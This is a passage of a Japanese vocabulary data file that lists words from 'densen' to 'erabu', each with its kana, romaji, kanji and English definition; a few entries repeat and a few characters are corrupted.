line\"\n\t},\n\n\t{\n\t\t'kana':'でんせん',\n\t\t'romaji':'densen',\n\t\t'kanji':'伝染',\n\t\t'definition':\"contagion\"\n\t},\n\n\t{\n\t\t'kana':'でんせつ',\n\t\t'romaji':'densetsu',\n\t\t'kanji':'伝説',\n\t\t'definition':\"tradition;legend;folklore\"\n\t},\n\n\t{\n\t\t'kana':'でんしゃ',\n\t\t'romaji':'densha',\n\t\t'kanji':'電車',\n\t\t'definition':\"electric train\"\n\t},\n\n\t{\n\t\t'kana':'でんし',\n\t\t'romaji':'denshi',\n\t\t'kanji':'電子',\n\t\t'definition':\"electron\"\n\t},\n\n\t{\n\t\t'kana':'でんたつ',\n\t\t'romaji':'dentatsu',\n\t\t'kanji':'伝達',\n\t\t'definition':\"transmission (e.g. news);communication;delivery\"\n\t},\n\n\t{\n\t\t'kana':'でんとう',\n\t\t'romaji':'dentou',\n\t\t'kanji':'伝統',\n\t\t'definition':\"tradition;convention\"\n\t},\n\n\t{\n\t\t'kana':'でんとう',\n\t\t'romaji':'dentou',\n\t\t'kanji':'電灯',\n\t\t'definition':\"electric light\"\n\t},\n\n\t{\n\t\t'kana':'でんわ',\n\t\t'romaji':'denwa',\n\t\t'kanji':'電話',\n\t\t'definition':\"telephone\"\n\t},\n\n\t{\n\t\t'kana':'デパート',\n\t\t'romaji':'depa-to',\n\t\t'kanji':'',\n\t\t'definition':\"department store\"\n\t},\n\n\t{\n\t\t'kana':'でる',\n\t\t'romaji':'deru',\n\t\t'kanji':'出る',\n\t\t'definition':\"to appear;to come forth;to leave\"\n\t},\n\n\t{\n\t\t'kana':'デッサン',\n\t\t'romaji':'desan',\n\t\t'kanji':'',\n\t\t'definition':\"(fr:) (n) rough sketch (fr: dessin)\"\n\t},\n\n\t{\n\t\t'kana':'ですから',\n\t\t'romaji':'desukara',\n\t\t'kanji':'',\n\t\t'definition':\"therefore\"\n\t},\n\n\t{\n\t\t'kana':'データ',\n\t\t'romaji':'de-ta',\n\t\t'kanji':'',\n\t\t'definition':\"data\"\n\t},\n\n\t{\n\t\t'kana':'でたらめ',\n\t\t'romaji':'detarame',\n\t\t'kanji':'出鱈目',\n\t\t'definition':\"irresponsible utterance;nonsense;nonsensical;random;haphazard;unsystematic\"\n\t},\n\n\t{\n\t\t'kana':'デート',\n\t\t'romaji':'de-to',\n\t\t'kanji':'',\n\t\t'definition':\"date;go on a date\"\n\t},\n\n\t{\n\t\t'kana':'デザイン',\n\t\t'romaji':'dezain',\n\t\t'kanji':'',\n\t\t'definition':\"design\"\n\t},\n\n\t{\n\t\t'kana':'デザート',\n\t\t'romaji':'deza-to',\n\t\t'kanji':'',\n\t\t'definition':\"dessert\"\n\t},\n\n\t{\n\t\t'kana':'ドア',\n\t\t'romaji':'doa',\n\t\t'kanji':'',\n\t\t'definition':\"door (Western style)\"\n\t},\n\n\t{\n\t\t'kana':'どぼく',\n\t\t'romaji':'doboku',\n\t\t'kanji':'土木',\n\t\t'definition':\"public works\"\n\t},\n\n\t{\n\t\t'kana':'どちら',\n\t\t'romaji':'dochira',\n\t\t'kanji':'何方',\n\t\t'definition':\"which;who\"\n\t},\n\n\t{\n\t\t'kana':'どだい',\n\t\t'romaji':'dodai',\n\t\t'kanji':'土台',\n\t\t'definition':\"foundation;base;basis\"\n\t},\n\n\t{\n\t\t'kana':'どひ���う',\n\t\t'romaji':'dohyou',\n\t\t'kanji':'土俵',\n\t\t'definition':\"arena\"\n\t},\n\n\t{\n\t\t'kana':'どきどき',\n\t\t'romaji':'dokidoki',\n\t\t'kanji':'',\n\t\t'definition':\"throb;beat (fast)\"\n\t},\n\n\t{\n\t\t'kana':'どこ',\n\t\t'romaji':'doko',\n\t\t'kanji':'何処',\n\t\t'definition':\"where;what place\"\n\t},\n\n\t{\n\t\t'kana':'どこか',\n\t\t'romaji':'dokoka',\n\t\t'kanji':'何処か',\n\t\t'definition':\"somewhere;anywhere;in some respects\"\n\t},\n\n\t{\n\t\t'kana':'どく',\n\t\t'romaji':'doku',\n\t\t'kanji':'毒',\n\t\t'definition':\"poison;toxicant\"\n\t},\n\n\t{\n\t\t'kana':'どくじ',\n\t\t'romaji':'dokuji',\n\t\t'kanji':'独自',\n\t\t'definition':\"original;peculiar;characteristic\"\n\t},\n\n\t{\n\t\t'kana':'どくりつ',\n\t\t'romaji':'dokuritsu',\n\t\t'kanji':'独立',\n\t\t'definition':\"independence (e.g. Ind. Day);self-support\"\n\t},\n\n\t{\n\t\t'kana':'どくさい',\n\t\t'romaji':'dokusai',\n\t\t'kanji':'独裁',\n\t\t'definition':\"dictatorship;despotism\"\n\t},\n\n\t{\n\t\t'kana':'どくせん',\n\t\t'romaji':'dokusen',\n\t\t'kanji':'独占',\n\t\t'definition':\"monopoly\"\n\t},\n\n\t{\n\t\t'kana':'どくしゃ',\n\t\t'romaji':'dokusha',\n\t\t'kanji':'読者',\n\t\t'definition':\"reader\"\n\t},\n\n\t{\n\t\t'kana':'どくしん',\n\t\t'romaji':'dokushin',\n\t\t'kanji':'独身',\n\t\t'definition':\"bachelorhood;single;unmarried;celibate\"\n\t},\n\n\t{\n\t\t'kana':'どくしょ',\n\t\t'romaji':'dokusho',\n\t\t'kanji':'読書',\n\t\t'definition':\"reading\"\n\t},\n\n\t{\n\t\t'kana':'どくそう',\n\t\t'romaji':'dokusou',\n\t\t'kanji':'独創',\n\t\t'definition':\"originality\"\n\t},\n\n\t{\n\t\t'kana':'どくとく',\n\t\t'romaji':'dokutoku',\n\t\t'kanji':'独特',\n\t\t'definition':\"peculiarity;uniqueness;characteristic\"\n\t},\n\n\t{\n\t\t'kana':'どなる',\n\t\t'romaji':'donaru',\n\t\t'kanji':'怒鳴る',\n\t\t'definition':\"to shout;to yell\"\n\t},\n\n\t{\n\t\t'kana':'どなた',\n\t\t'romaji':'donata',\n\t\t'kanji':'何方',\n\t\t'definition':\"who?\"\n\t},\n\n\t{\n\t\t'kana':'どんぶり',\n\t\t'romaji':'donburi',\n\t\t'kanji':'丼',\n\t\t'definition':\"porcelain bowl;bowl of rice with food on top\"\n\t},\n\n\t{\n\t\t'kana':'どんどん',\n\t\t'romaji':'dondon',\n\t\t'kanji':'',\n\t\t'definition':\"rapidly;steadily\"\n\t},\n\n\t{\n\t\t'kana':'どんかん',\n\t\t'romaji':'donkan',\n\t\t'kanji':'鈍感',\n\t\t'definition':\"thickheadedness;stolidity\"\n\t},\n\n\t{\n\t\t'kana':'どんな',\n\t\t'romaji':'donna',\n\t\t'kanji':'',\n\t\t'definition':\"what;what kind of\"\n\t},\n\n\t{\n\t\t'kana':'どんなに',\n\t\t'romaji':'donnani',\n\t\t'kanji':'',\n\t\t'definition':\"how;how much\"\n\t},\n\n\t{\n\t\t'kana':'どの',\n\t\t'romaji':'dono',\n\t\t'kanji':'何の',\n\t\t'definition':\"which;what\"\n\t},\n\n\t{\n\t\t'kana':'ドライ',\n\t\t'romaji':'dorai',\n\t\t'kanji':'',\n\t\t'definition':\"dry\"\n\t},\n\n\t{\n\t\t'kana':'ドライバー',\n\t\t'romaji':'doraiba-',\n\t\t'kanji':'',\n\t\t'definition':\"driver;screwdriver\"\n\t},\n\n\t{\n\t\t'kana':'ドライブ',\n\t\t'romaji':'doraibu',\n\t\t'kanji':'',\n\t\t'definition':\"drive;trip by car;driving\"\n\t},\n\n\t{\n\t\t'kana':'ドライブイン',\n\t\t'romaji':'doraibuin',\n\t\t'kanji':'',\n\t\t'definition':\"drive in\"\n\t},\n\n\t{\n\t\t'kana':'ドライクリーニング',\n\t\t'romaji':'doraikuri-ningu',\n\t\t'kanji':'',\n\t\t'definition':\"dry cleaning\"\n\t},\n\n\t{\n\t\t'kana':'ドラマ',\n\t\t'romaji':'dorama',\n\t\t'kanji':'',\n\t\t'definition':\"drama\"\n\t},\n\n\t{\n\t\t'kana':'どれ',\n\t\t'romaji':'dore',\n\t\t'kanji':'何れ',\n\t\t'definition':\"well;now;let me see;which (of three or more)\"\n\t},\n\n\t{\n\t\t'kana':'どれどれ',\n\t\t'romaji':'doredore',\n\t\t'kanji':'何々',\n\t\t'definition':\"which (emphatic)\"\n\t},\n\n\t{\n\t\t'kana':'ドレス',\n\t\t'romaji':'doresu',\n\t\t'kanji':'',\n\t\t'definition':\"dress\"\n\t},\n\n\t{\n\t\t'kana':'ドリル',\n\t\t'romaji':'doriru',\n\t\t'kanji':'',\n\t\t'definition':\"drill\"\n\t},\n\n\t{\n\t\t'kana':'どろ',\n\t\t'romaji':'doro',\n\t\t'kanji':'泥',\n\t\t'definition':\"mud\"\n\t},\n\n\t{\n\t\t'kana':'どろぼう',\n\t\t'romaji':'dorobou',\n\t\t'kanji':'泥棒',\n\t\t'definition':\"thief;burglar;robber;theft\"\n\t},\n\n\t{\n\t\t'kana':'どりょく',\n\t\t'romaji':'doryoku',\n\t\t'kanji':'努力',\n\t\t'definition':\"great effort;exertion;endeavour;effort\"\n\t},\n\n\t{\n\t\t'kana':'どさん',\n\t\t'romaji':'dosan',\n\t\t'kanji':'土産',\n\t\t'definition':\"product of the land\"\n\t},\n\n\t{\n\t\t'kana':'どて',\n\t\t'romaji':'dote',\n\t\t'kanji':'土手',\n\t\t'definition':\"embankment;bank\"\n\t},\n\n\t{\n\t\t'kana':'どっと',\n\t\t'romaji':'doto',\n\t\t'kanji':'',\n\t\t'definition':\"suddenly\"\n\t},\n\n\t{\n\t\t'kana':'どう',\n\t\t'romaji':'dou',\n\t\t'kanji':'同',\n\t\t'definition':\"the same;the said;ibid.\"\n\t},\n\n\t{\n\t\t'kana':'どう',\n\t\t'romaji':'dou',\n\t\t'kanji':'働',\n\t\t'definition':\"work;labor\"\n\t},\n\n\t{\n\t\t'kana':'どう',\n\t\t'romaji':'dou',\n\t\t'kanji':'胴',\n\t\t'definition':\"trunk;body;frame\"\n\t},\n\n\t{\n\t\t'kana':'どうぶつ',\n\t\t'romaji':'doubutsu',\n\t\t'kanji':'動物',\n\t\t'definition':\"animal\"\n\t},\n\n\t{\n\t\t'kana':'どうちょう',\n\t\t'romaji':'douchou',\n\t\t'kanji':'同調',\n\t\t'definition':\"sympathy;agree with;alignment;tuning\"\n\t},\n\n\t{\n\t\t'kana':'どうどう',\n\t\t'romaji':'doudou',\n\t\t'kanji':'堂々',\n\t\t'definition':\"magnificent;grand;impressive\"\n\t},\n\n\t{\n\t\t'kana':'どうふう',\n\t\t'romaji':'doufuu',\n\t\t'kanji':'同封',\n\t\t'definition':\"enclosure (e.g. in a letter)\"\n\t},\n\n\t{\n\t\t'kana':'どうぐ',\n\t\t'romaji':'dougu',\n\t\t'kanji':'道具',\n\t\t'definition':\"implement;tool;means\"\n\t},\n\n\t{\n\t\t'kana':'どうい',\n\t\t'romaji':'doui',\n\t\t'kanji':'同意',\n\t\t'definition':\"agreement;consent;same meaning;same opinion;approval\"\n\t},\n\n\t{\n\t\t'kana':'どういん',\n\t\t'romaji':'douin',\n\t\t'kanji':'動員',\n\t\t'definition':\"mobilization\"\n\t},\n\n\t{\n\t\t'kana':'どういたしまして',\n\t\t'romaji':'douitashimashite',\n\t\t'kanji':'どう致しまして',\n\t\t'definition':\"you are welcome;don't mention it\"\n\t},\n\n\t{\n\t\t'kana':'どういつ',\n\t\t'romaji':'douitsu',\n\t\t'kanji':'同一',\n\t\t'definition':\"identity;sameness;similarity;equality;fairness\"\n\t},\n\n\t{\n\t\t'kana':'どうじ',\n\t\t'romaji':'douji',\n\t\t'kanji':'同時',\n\t\t'definition':\"simultaneous(ly);concurrent;same time;synchronous\"\n\t},\n\n\t{\n\t\t'kana':'どうじょう',\n\t\t'romaji':'doujyou',\n\t\t'kanji':'道場',\n\t\t'definition':\"dojo;hall used for martial arts training;mandala\"\n\t},\n\n\t{\n\t\t'kana':'どうじょう',\n\t\t'romaji':'doujyou',\n\t\t'kanji':'同情',\n\t\t'definition':\"sympathy;compassion;sympathize;pity;feel for\"\n\t},\n\n\t{\n\t\t'kana':'どうか',\n\t\t'romaji':'douka',\n\t\t'kanji':'',\n\t\t'definition':\"please;somehow or other\"\n\t},\n\n\t{\n\t\t'kana':'どうかく',\n\t\t'romaji':'doukaku',\n\t\t'kanji':'同格',\n\t\t'definition':\"the same rank;equality;apposition\"\n\t},\n\n\t{\n\t\t'kana':'どうかん',\n\t\t'romaji':'doukan',\n\t\t'kanji':'同感',\n\t\t'definition':\"agreement;same opinion;same feeling;sympathy;concurrence\"\n\t},\n\n\t{\n\t\t'kana':'どうき',\n\t\t'romaji':'douki',\n\t\t'kanji':'動機',\n\t\t'definition':\"motive;incentive\"\n\t},\n\n\t{\n\t\t'kana':'どうこう',\n\t\t'romaji':'doukou',\n\t\t'kanji':'動向',\n\t\t'definition':\"trend;tendency;movement;attitude\"\n\t},\n\n\t{\n\t\t'kana':'どうきょ',\n\t\t'romaji':'doukyo',\n\t\t'kanji':'同居',\n\t\t'definition':\"living together\"\n\t},\n\n\t{\n\t\t'kana':'どうきゅう',\n\t\t'romaji':'doukyuu',\n\t\t'kanji':'同級',\n\t\t'definition':\"the same grade;same class\"\n\t},\n\n\t{\n\t\t'kana':'どうめい',\n\t\t'romaji':'doumei',\n\t\t'kanji':'同盟',\n\t\t'definition':\"alliance;union;league\"\n\t},\n\n\t{\n\t\t'kana':'どうも',\n\t\t'romaji':'doumo',\n\t\t'kanji':'',\n\t\t'definition':\"thanks;how;(very) much;very;quite;really;somehow;no matter how hard one may try\"\n\t},\n\n\t{\n\t\t'kana':'どうにか',\n\t\t'romaji':'dounika',\n\t\t'kanji':'',\n\t\t'definition':\"in some way or other;one way or another\"\n\t},\n\n\t{\n\t\t'kana':'どうにゅう',\n\t\t'romaji':'dounyuu',\n\t\t'kanji':'導入',\n\t\t'definition':\"introduction;bringing in;leading in\"\n\t},\n\n\t{\n\t\t'kana':'どうろ',\n\t\t'romaji':'douro',\n\t\t'kanji':'道路',\n\t\t'definition':\"road;highway\"\n\t},\n\n\t{\n\t\t'kana':'どうりょく',\n\t\t'romaji':'douryoku',\n\t\t'kanji':'動力',\n\t\t'definition':\"power;motive power;dynamic force\"\n\t},\n\n\t{\n\t\t'kana':'どうりょう',\n\t\t'romaji':'douryou',\n\t\t'kanji':'同僚',\n\t\t'definition':\"coworker;colleague;associate\"\n\t},\n\n\t{\n\t\t'kana':'どうさ',\n\t\t'romaji':'dousa',\n\t\t'kanji':'動作',\n\t\t'definition':\"action;movements;motions;bearing;behaviour;manners\"\n\t},\n\n\t{\n\t\t'kana':'どうせ',\n\t\t'romaji':'douse',\n\t\t'kanji':'',\n\t\t'definition':\"anyhow;in any case;at any rate;after all;at best;at most;at all\"\n\t},\n\n\t{\n\t\t'kana':'どうし',\n\t\t'romaji':'doushi',\n\t\t'kanji':'動詞',\n\t\t'definition':\"verb\"\n\t},\n\n\t{\n\t\t'kana':'どうし',\n\t\t'romaji':'doushi',\n\t\t'kanji':'同志',\n\t\t'definition':\"same mind;comrade;kindred soul\"\n\t},\n\n\t{\n\t\t'kana':'どうし',\n\t\t'romaji':'doushi',\n\t\t'kanji':'同士',\n\t\t'definition':\"fellow;companion;comrade\"\n\t},\n\n\t{\n\t\t'kana':'どうして',\n\t\t'romaji':'doushite',\n\t\t'kanji':'如何して',\n\t\t'definition':\"why?;for what reason;how;in what way;for what purpose;what for\"\n\t},\n\n\t{\n\t\t'kana':'どうしても',\n\t\t'romaji':'doushitemo',\n\t\t'kanji':'如何しても',\n\t\t'definition':\"by all means;at any cost;no matter what;after all;in the long run;cravingly;at any rate;surely\"\n\t},\n\n\t{\n\t\t'kana':'どうてき',\n\t\t'romaji':'douteki',\n\t\t'kanji':'動的',\n\t\t'definition':\"dynamic;kinetic\"\n\t},\n\n\t{\n\t\t'kana':'どうとく',\n\t\t'romaji':'doutoku',\n\t\t'kanji':'道徳',\n\t\t'definition':\"morals\"\n\t},\n\n\t{\n\t\t'kana':'���うとう',\n\t\t'romaji':'doutou',\n\t\t'kanji':'同等',\n\t\t'definition':\"equality;equal;same rights;same rank\"\n\t},\n\n\t{\n\t\t'kana':'どうわ',\n\t\t'romaji':'douwa',\n\t\t'kanji':'童話',\n\t\t'definition':\"fairy tale\"\n\t},\n\n\t{\n\t\t'kana':'どうやら',\n\t\t'romaji':'douyara',\n\t\t'kanji':'',\n\t\t'definition':\"it seems like;somehow or other\"\n\t},\n\n\t{\n\t\t'kana':'どうよう',\n\t\t'romaji':'douyou',\n\t\t'kanji':'童謡',\n\t\t'definition':\"children's song;nursery rhyme\"\n\t},\n\n\t{\n\t\t'kana':'どうよう',\n\t\t'romaji':'douyou',\n\t\t'kanji':'同様',\n\t\t'definition':\"identical;equal to;same (kind);like\"\n\t},\n\n\t{\n\t\t'kana':'どうよう',\n\t\t'romaji':'douyou',\n\t\t'kanji':'動揺',\n\t\t'definition':\"disturbance;unrest;shaking;trembling;pitching;rolling;oscillation;agitation;excitement;commotion\"\n\t},\n\n\t{\n\t\t'kana':'どうぞ',\n\t\t'romaji':'douzo',\n\t\t'kanji':'何卒',\n\t\t'definition':\"please;kindly;by all means\"\n\t},\n\n\t{\n\t\t'kana':'どうぞよろしく',\n\t\t'romaji':'douzoyoroshiku',\n\t\t'kanji':'どうぞ宜しく',\n\t\t'definition':\"pleased to meet you\"\n\t},\n\n\t{\n\t\t'kana':'どわすれ',\n\t\t'romaji':'dowasure',\n\t\t'kanji':'度忘れ',\n\t\t'definition':\"lapse of memory;forget for a moment\"\n\t},\n\n\t{\n\t\t'kana':'どよう',\n\t\t'romaji':'doyou',\n\t\t'kanji':'土曜',\n\t\t'definition':\"Saturday\"\n\t},\n\n\t{\n\t\t'kana':'え',\n\t\t'romaji':'e',\n\t\t'kanji':'重',\n\t\t'definition':\"-fold;-ply\"\n\t},\n\n\t{\n\t\t'kana':'え',\n\t\t'romaji':'e',\n\t\t'kanji':'重',\n\t\t'definition':\"-fold;-ply\"\n\t},\n\n\t{\n\t\t'kana':'え',\n\t\t'romaji':'e',\n\t\t'kanji':'柄',\n\t\t'definition':\"handle;grip\"\n\t},\n\n\t{\n\t\t'kana':'え',\n\t\t'romaji':'e',\n\t\t'kanji':'会',\n\t\t'definition':\"understanding\"\n\t},\n\n\t{\n\t\t'kana':'え',\n\t\t'romaji':'e',\n\t\t'kanji':'絵',\n\t\t'definition':\"picture;drawing;painting;sketch\"\n\t},\n\n\t{\n\t\t'kana':'え',\n\t\t'romaji':'e',\n\t\t'kanji':'柄',\n\t\t'definition':\"handle;grip\"\n\t},\n\n\t{\n\t\t'kana':'エアメール',\n\t\t'romaji':'eame-ru',\n\t\t'kanji':'',\n\t\t'definition':\"air mail\"\n\t},\n\n\t{\n\t\t'kana':'エチケット',\n\t\t'romaji':'echiketo',\n\t\t'kanji':'',\n\t\t'definition':\"etiquette\"\n\t},\n\n\t{\n\t\t'kana':'えだ',\n\t\t'romaji':'eda',\n\t\t'kanji':'枝',\n\t\t'definition':\"branch;bow;twig;limb\"\n\t},\n\n\t{\n\t\t'kana':'ええ',\n\t\t'romaji':'ee',\n\t\t'kanji':'',\n\t\t'definition':\"yes\"\n\t},\n\n\t{\n\t\t'kana':'ええと',\n\t\t'romaji':'eeto',\n\t\t'kanji':'',\n\t\t'definition':\"let me see;well;er....\"\n\t},\n\n\t{\n\t\t'kana':'えがく',\n\t\t'romaji':'egaku',\n\t\t'kanji':'描く',\n\t\t'definition':\"to draw;to paint;to sketch;to depict;to describe\"\n\t},\n\n\t{\n\t\t'kana':'えがお',\n\t\t'romaji':'egao',\n\t\t'kanji':'笑顔',\n\t\t'definition':\"smiling face\"\n\t},\n\n\t{\n\t\t'kana':'えい',\n\t\t'romaji':'ei',\n\t\t'kanji':'',\n\t\t'definition':\"ray (fish)\"\n\t},\n\n\t{\n\t\t'kana':'えいぶん',\n\t\t'romaji':'eibun',\n\t\t'kanji':'英文',\n\t\t'definition':\"sentence in English\"\n\t},\n\n\t{\n\t\t'kana':'えいえん',\n\t\t'romaji':'eien',\n\t\t'kanji':'永遠',\n\t\t'definition':\"eternity;perpetuity;immortality;permanence\"\n\t},\n\n\t{\n\t\t'kana':'えいが',\n\t\t'romaji':'eiga',\n\t\t'kanji':'映画',\n\t\t'definition':\"movie;film\"\n\t},\n\n\t{\n\t\t'kana':'えいご',\n\t\t'romaji':'eigo',\n\t\t'kanji':'英語',\n\t\t'definition':\"the English language\"\n\t},\n\n\t{\n\t\t'kana':'えいぎょう',\n\t\t'romaji':'eigyou',\n\t\t'kanji':'営業',\n\t\t'definition':\"business;trade;management\"\n\t},\n\n\t{\n\t\t'kana':'えいじ',\n\t\t'romaji':'eiji',\n\t\t'kanji':'英字',\n\t\t'definition':\"English letter (character)\"\n\t},\n\n\t{\n\t\t'kana':'えいきょう',\n\t\t'romaji':'eikyou',\n\t\t'kanji':'影響',\n\t\t'definition':\"influence;effect\"\n\t},\n\n\t{\n\t\t'kana':'えいきゅう',\n\t\t'romaji':'eikyuu',\n\t\t'kanji':'永久',\n\t\t'definition':\"eternity;perpetuity;immortality\"\n\t},\n\n\t{\n\t\t'kana':'えいせい',\n\t\t'romaji':'eisei',\n\t\t'kanji':'衛生',\n\t\t'definition':\"health;hygiene;sanitation;medical\"\n\t},\n\n\t{\n\t\t'kana':'えいせい',\n\t\t'romaji':'eisei',\n\t\t'kanji':'衛星',\n\t\t'definition':\"satellite\"\n\t},\n\n\t{\n\t\t'kana':'えいしゃ',\n\t\t'romaji':'eisha',\n\t\t'kanji':'映写',\n\t\t'definition':\"projection\"\n\t},\n\n\t{\n\t\t'kana':'えいわ',\n\t\t'romaji':'eiwa',\n\t\t'kanji':'英和',\n\t\t'definition':\"English-Japanese (e.g. dictionary)\"\n\t},\n\n\t{\n\t\t'kana':'えいよう',\n\t\t'romaji':'eiyou',\n\t\t'kanji':'栄養',\n\t\t'definition':\"nutrition;nourishment\"\n\t},\n\n\t{\n\t\t'kana':'えいゆう',\n\t\t'romaji':'eiyuu',\n\t\t'kanji':'英雄',\n\t\t'definition':\"hero;great man\"\n\t},\n\n\t{\n\t\t'kana':'えいぞう',\n\t\t'romaji':'eizou',\n\t\t'kanji':'映像',\n\t\t'definition':\"reflection;image\"\n\t},\n\n\t{\n\t\t'kana':'えき',\n\t\t'romaji':'eki',\n\t\t'kanji':'役',\n\t\t'definition':\"war;campaign;battle\"\n\t},\n\n\t{\n\t\t'kana':'えき',\n\t\t'romaji':'eki',\n\t\t'kanji':'駅',\n\t\t'definition':\"station\"\n\t},\n\n\t{\n\t\t'kana':'えき',\n\t\t'romaji':'eki',\n\t\t'kanji':'液',\n\t\t'definition':\"liquid;fluid\"\n\t},\n\n\t{\n\t\t'kana':'えきたい',\n\t\t'romaji':'ekitai',\n\t\t'kanji':'液体',\n\t\t'definition':\"liquid;fluid\"\n\t},\n\n\t{\n\t\t'kana':'えもの',\n\t\t'romaji':'emono',\n\t\t'kanji':'獲物',\n\t\t'definition':\"game;spoils;trophy\"\n\t},\n\n\t{\n\t\t'kana':'えん',\n\t\t'romaji':'en',\n\t\t'kanji':'園',\n\t\t'definition':\"garden (esp. man-made)\"\n\t},\n\n\t{\n\t\t'kana':'えん',\n\t\t'romaji':'en',\n\t\t'kanji':'円',\n\t\t'definition':\"Yen;circle\"\n\t},\n\n\t{\n\t\t'kana':'えん',\n\t\t'romaji':'en',\n\t\t'kanji':'縁',\n\t\t'definition':\"chance;fate;destiny;relation;bonds;connection;karma\"\n\t},\n\n\t{\n\t\t'kana':'えん',\n\t\t'romaji':'en',\n\t\t'kanji':'艶',\n\t\t'definition':\"charming;fascinating;voluptuous\"\n\t},\n\n\t{\n\t\t'kana':'えん',\n\t\t'romaji':'en',\n\t\t'kanji':'塩',\n\t\t'definition':\"salt\"\n\t},\n\n\t{\n\t\t'kana':'えん',\n\t\t'romaji':'en',\n\t\t'kanji':'円',\n\t\t'definition':\"Yen;circle\"\n\t},\n\n\t{\n\t\t'kana':'えん',\n\t\t'romaji':'en',\n\t\t'kanji':'縁',\n\t\t'definition':\"chance;fate;destiny;relation;bonds;connection;karma\"\n\t},\n\n\t{\n\t\t'kana':'えん',\n\t\t'romaji':'en',\n\t\t'kanji':'縁',\n\t\t'definition':\"chance;fate;destiny;relation;bonds;connection;karma\"\n\t},\n\n\t{\n\t\t'kana':'えんちょう',\n\t\t'romaji':'enchou',\n\t\t'kanji':'延長',\n\t\t'definition':\"extension;elongation;prolongation;lengthening\"\n\t},\n\n\t{\n\t\t'kana':'えんだん',\n\t\t'romaji':'endan',\n\t\t'kanji':'縁談',\n\t\t'definition':\"marriage proposal;engagement\"\n\t},\n\n\t{\n\t\t'kana':'エネルギー',\n\t\t'romaji':'enerugi-',\n\t\t'kanji':'',\n\t\t'definition':\"(de:) (n) energy (de: Energie)\"\n\t},\n\n\t{\n\t\t'kana':'えんがん',\n\t\t'romaji':'engan',\n\t\t'kanji':'沿岸',\n\t\t'definition':\"coast;shore\"\n\t},\n\n\t{\n\t\t'kana':'えんがわ',\n\t\t'romaji':'engawa',\n\t\t'kanji':'縁側',\n\t\t'definition':\"veranda;porch;balcony;open corridor\"\n\t},\n\n\t{\n\t\t'kana':'えんげい',\n\t\t'romaji':'engei',\n\t\t'kanji':'園芸',\n\t\t'definition':\"horticulture;gardening\"\n\t},\n\n\t{\n\t\t'kana':'えんげき',\n\t\t'romaji':'engeki',\n\t\t'kanji':'演劇',\n\t\t'definition':\"play (theatrical)\"\n\t},\n\n\t{\n\t\t'kana':'えんぎ',\n\t\t'romaji':'engi',\n\t\t'kanji':'演技',\n\t\t'definition':\"acting;performance\"\n\t},\n\n\t{\n\t\t'kana':'えんじる',\n\t\t'romaji':'enjiru',\n\t\t'kanji':'演じる',\n\t\t'definition':\"to perform (a play);to play (a part);to act (a part);to commit (a blunder)\"\n\t},\n\n\t{\n\t\t'kana':'えんじょ',\n\t\t'romaji':'enjyo',\n\t\t'kanji':'援助',\n\t\t'definition':\"assistance;aid;support\"\n\t},\n\n\t{\n\t\t'kana':'えんかい',\n\t\t'romaji':'enkai',\n\t\t'kanji':'宴会',\n\t\t'definition':\"party;banquet\"\n\t},\n\n\t{\n\t\t'kana':'えんかつ',\n\t\t'romaji':'enkatsu',\n\t\t'kanji':'円滑',\n\t\t'definition':\"harmony;smoothness\"\n\t},\n\n\t{\n\t\t'kana':'えんき',\n\t\t'romaji':'enki',\n\t\t'kanji':'延期',\n\t\t'definition':\"postponement;adjournment\"\n\t},\n\n\t{\n\t\t'kana':'えんきょく',\n\t\t'romaji':'enkyoku',\n\t\t'kanji':'婉曲',\n\t\t'definition':\"euphemistic;circumlocution;roundabout;indirect;insinuating\"\n\t},\n\n\t{\n\t\t'kana':'えんまん',\n\t\t'romaji':'enman',\n\t\t'kanji':'円満',\n\t\t'definition':\"perfection;harmony;peace;smoothness;completeness;satisfaction;integrity\"\n\t},\n\n\t{\n\t\t'kana':'えのぐ',\n\t\t'romaji':'enogu',\n\t\t'kanji':'絵の具',\n\t\t'definition':\"colors;paints\"\n\t},\n\n\t{\n\t\t'kana':'えんぽう',\n\t\t'romaji':'enpou',\n\t\t'kanji':'遠方',\n\t\t'definition':\"long way;distant place\"\n\t},\n\n\t{\n\t\t'kana':'えんりょ',\n\t\t'romaji':'enryo',\n\t\t'kanji':'遠慮',\n\t\t'definition':\"diffidence;restraint;reserve\"\n\t},\n\n\t{\n\t\t'kana':'えんせん',\n\t\t'romaji':'ensen',\n\t\t'kanji':'沿線',\n\t\t'definition':\"along railway line\"\n\t},\n\n\t{\n\t\t'kana':'えんしゅつ',\n\t\t'romaji':'enshutsu',\n\t\t'kanji':'演出',\n\t\t'definition':\"production (e.g. play);direction\"\n\t},\n\n\t{\n\t\t'kana':'えんしゅう',\n\t\t'romaji':'enshuu',\n\t\t'kanji':'演習',\n\t\t'definition':\"practice;exercises;manoeuvers\"\n\t},\n\n\t{\n\t\t'kana':'えんしゅう',\n\t\t'romaji':'enshuu',\n\t\t'kanji':'円周',\n\t\t'definition':\"circumference\"\n\t},\n\n\t{\n\t\t'kana':'えんそく',\n\t\t'romaji':'ensoku',\n\t\t'kanji':'遠足',\n\t\t'definition':\"trip;hike;picnic\"\n\t},\n\n\t{\n\t\t'kana':'えんそう',\n\t\t'romaji':'ensou',\n\t\t'kanji':'演奏',\n\t\t'definition':\"musical performance\"\n\t},\n\n\t{\n\t\t'kana':'えんとつ',\n\t\t'romaji':'entotsu',\n\t\t'kanji':'煙突',\n\t\t'definition':\"chimney\"\n\t},\n\n\t{\n\t\t'kana':'えんぜつ',\n\t\t'romaji':'enzetsu',\n\t\t'kanji':'演説',\n\t\t'definition':\"speech;address\"\n\t},\n\n\t{\n\t\t'kana':'エンジン',\n\t\t'romaji':'enzin',\n\t\t'kanji':'',\n\t\t'definition':\"engine\"\n\t},\n\n\t{\n\t\t'kana':'エンジニア',\n\t\t'romaji':'enzinia',\n\t\t'kanji':'',\n\t\t'definition':\"engineer\"\n\t},\n\n\t{\n\t\t'kana':'えんずる',\n\t\t'romaji':'enzuru',\n\t\t'kanji':'演ずる',\n\t\t'definition':\"to perform;to play\"\n\t},\n\n\t{\n\t\t'kana':'エプロン',\n\t\t'romaji':'epuron',\n\t\t'kanji':'',\n\t\t'definition':\"apron\"\n\t},\n\n\t{\n\t\t'kana':'えらぶ',\n\t\t'romaji':'erabu',\n\t\t'kanji':'選ぶ',\n\t\t'definition':\"to choose;to 